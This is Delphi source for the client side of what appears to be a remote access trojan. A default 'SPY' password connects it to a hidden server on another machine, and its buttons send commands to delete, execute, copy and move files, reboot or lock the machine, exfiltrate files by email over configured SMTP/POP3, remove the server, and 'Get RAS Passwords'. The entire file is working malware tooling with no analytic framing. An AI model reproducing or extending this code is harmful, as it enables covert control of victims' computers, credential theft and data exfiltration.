unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, StdCtrls, ScktComp, ExtCtrls;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Edit1: TEdit;
    Connect_btn: TButton;
    Send_btn: TButton;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Edit2: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    Edit3: TEdit;
    Panel1: TPanel;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    Button11: TButton;
    Button12: TButton;
    Button14: TButton;
    Button13: TButton;
    Button15: TButton;
    Button16: TButton;
    Button17: TButton;
    Button18: TButton;
    Button19: TButton;
    Button20: TButton;
    Button21: TButton;
    Button22: TButton;
    Button23: TButton;
    Button24: TButton;
    Button25: TButton;
    Label5: TLabel;
    procedure Connect_btnClick(Sender: TObject);
    procedure Send_btnClick(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Edit3Change(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Memo1Change(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Button16Click(Sender: TObject);
    procedure Button19Click(Sender: TObject);
    procedure Button18Click(Sender: TObject);
    procedure Button17Click(Sender: TObject);
    procedure Button20Click(Sender: TObject);
    procedure Button21Click(Sender: TObject);
    procedure Button22Click(Sender: TObject);
    procedure Button23Click(Sender: TObject);
    procedure Button24Click(Sender: TObject);
    procedure Button25Click(Sender: TObject);
  private
    procedure HandleException (Sender: TObject; E: Exception);  
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{$I ..\consts.pas}

var ClickedOk: boolean;


procedure TForm1.Connect_btnClick(Sender: TObject);
var NewString: string;
begin
  if (clientsocket1.active = true) then Memo1.Lines.Add ('Man! You are already connected!')
  else begin
    newString:= 'SPY';
    ClickedOK := InputQuery('Password for the Server', 'Default is ''SPY'':', NewString);
    if ClickedOk then
    begin
      clientSocket1.address:=Edit2.Text;
      Edit1.Text:= newstring;
      try
        clientsocket1.active:=True;
      except
        on ESocketError do Memo1.Lines.Add ('no server intalled?');
      end;
    end;
  end;
end;

procedure TForm1.Send_btnClick(Sender: TObject);
begin
  if ClientSocket1.Active then
  begin
    if Sender = nil then
    begin
      if Edit1.Text = '' then
        clientsocket1.Socket.SendText(NOPASSW)
      else
        clientsocket1.Socket.SendText(Edit1.Text);      
    end
    else
      clientsocket1.Socket.SendText(edit1.text);
  end else
  Memo1.Lines.Add('Hey man! Connect first!');
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Memo1.Lines.Add(Socket.ReceiveText);
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Memo1.Lines.Add('Connecting...');
end;

procedure TForm1.Edit3Change(Sender: TObject);
var temp: integer;
begin
  try
    temp:= StrToInt(Edit3.Text);
  except
    on EConvertError do temp:= StrToInt (DEFAULTPORT);
  end;
  ClientSocket1.Port:= temp;
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  Memo1.Lines.Add ('Not Connected');
end;

procedure TForm1.HandleException (Sender: TObject; E: Exception);
begin
  Memo1.Lines.Add ('Failed to connect');
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
  Edit3.Text:= DEFAULTPORT;
  Form1.Caption:= SERVERVER + ' Client';

  Application.OnException:= HandleException;
end;

procedure TForm1.Button1Click(Sender: TObject);  //PORT
var NewString: string;
    temp, error: integer;
begin
  ClickedOK := InputQuery('Setting the server'' port', 'It will disconnect you!', NewString);
  if ClickedOk then
  begin
    val (Newstring, temp, error);
    if error <> 0 then Edit1.Text:= '' else
      Edit1.Text:= STRPORT + NewString;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);  //MESSAGE
var NewString: string;
begin
  ClickedOK := InputQuery('Sending Message', 'Give me the text:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRMSGDRAW+ NewString;
  end;
end;

procedure TForm1.Button3Click(Sender: TObject);  //DELETE
var NewString: string;
begin
  ClickedOK := InputQuery('Deleting file', 'File To Delete:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRDEL+ NewString;
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Executing file', 'File To Execute:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STREXEC+ NewString;
  end;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  ClientSocket1.Active:= False;
  Memo1.Lines.Add ('Disconnected from server');
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  if (mrOk = MessageDlg ('Really want it?', mtInformation, [mbOk, mbCancel], 0)) then
    Edit1.Text:= STRCLS;
end;

procedure TForm1.Memo1Change(Sender: TObject);
begin
  if Memo1.Lines [Memo1.Lines.Count -1] = 'Disconnected' then
    Button5.OnClick (Sender);
  if Pos (SERVERVER, Memo1.Lines [Memo1.Lines.Count -1]) = 1 then
    Send_btnClick (nil);                         //sending the password
end;

procedure TForm1.Button7Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' password', 'Give me the new:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRPASW + NewString;
  end;
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
  if (mrOk = MessageDlg ('Removing server from the host. Are you sure?', mtInformation, [mbOk, mbCancel], 0)) then
    Edit1.Text:= STRRES;
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
  case MessageDlg ('CD Tray [Ok=Open,No=Close]', mtInformation, [mbNo, mbOk, mbCancel], 0) of
    mrOk: Edit1.Text:= STRCDO;
    mrNo: Edit1.Text:= STRCDC;
  end;
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
  case MessageDlg ('[Ok=Reboot,No=Power Off]', mtInformation, [mbNo, mbOk, mbCancel], 0) of
    mrOk: Edit1.Text:= STRREBOOT;
    mrNo: Edit1.Text:= STRPOFF;
  end;
end;

procedure TForm1.Button11Click(Sender: TObject);
begin
  case MessageDlg ('Info [Ok=Current Username,No=Windows Dir]', mtInformation, [mbNo, mbOk, mbCancel], 0) of
    mrOk: Edit1.Text:= STRCUR;
    mrNo: Edit1.Text:= STRWDIR;
  end;
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
  case MessageDlg ('[Ok=Suspend,No=Lock Up]', mtInformation, [mbNo, mbOk, mbCancel], 0) of
    mrOk: Edit1.Text:= STRSUS;
    mrNo: Edit1.Text:= STRLOCK;
  end;
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
  case MessageDlg ('[Ok=On,No=Off]', mtInformation, [mbNo, mbOk, mbCancel], 0) of
    mrOk: Edit1.Text:= STRMONON;
    mrNo: Edit1.Text:= STRMONOFF;
  end;
end;

procedure TForm1.Button13Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' POP3host', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRPOPHST + NewString;
  end;
end;

procedure TForm1.Button15Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' POP3 username', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRPOPUSR + NewString;
  end;
end;

procedure TForm1.Button16Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' POP3 password', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRPOPPWD + NewString;
  end;
end;

procedure TForm1.Button19Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' SMTP host', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRSMTPHST + NewString;
  end;
end;

procedure TForm1.Button18Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' SMTP to answer to', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRSMTPS2 + NewString;
  end;
end;

procedure TForm1.Button17Click(Sender: TObject);
var NewString: string;
begin
  ClickedOK := InputQuery('Setting the server'' SMTP username', 'Give me it:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRSMTPUSR + NewString;
  end;
end;

procedure TForm1.Button20Click(Sender: TObject);
var NewString: string;
    temp, error: integer;
begin
  ClickedOK := InputQuery('Setting the interval', 'RTFM first!', NewString);
  if ClickedOk then
  begin
    val (Newstring, temp, error);
    if error <> 0 then Edit1.Text:= '' else
      Edit1.Text:= STRTIMER + NewString;
  end;
end;
procedure TForm1.Button21Click(Sender: TObject);
begin
  if (mrOk = MessageDlg ('It will Close the Actual Window. Are you sure?', mtInformation, [mbOk, mbCancel], 0)) then
    Edit1.Text:= STRCAW;
end;

procedure TForm1.Button22Click(Sender: TObject);
var newString: string;
begin
  ClickedOK := InputQuery('Downloading file', 'File To Download per email:', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRGETFILE+ NewString;
  end;
end;

procedure TForm1.Button23Click(Sender: TObject);
var NewString: String;
begin
  ClickedOK := InputQuery('Copy file', 'E.g.: C:\AUTOEXEC.BAT C:\WINDOWS', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRCOPY+ NewString;
  end;
end;

procedure TForm1.Button24Click(Sender: TObject);
var NewString:string;
begin
  ClickedOK := InputQuery('Move/Rename file', 'E.g.: C:\AUTOEXEC.BAT C:\AUTOEXEC.TMP', NewString);
  if ClickedOk then
  begin
    Edit1.Text:= STRMOVE+ NewString;
  end;
end;

procedure TForm1.Button25Click(Sender: TObject);
begin
  if (mrOk = MessageDlg ('Get RAS Passwords?', mtInformation, [mbOk, mbCancel], 0)) then
    Edit1.Text:= STRPWZRAS;
end;

end.
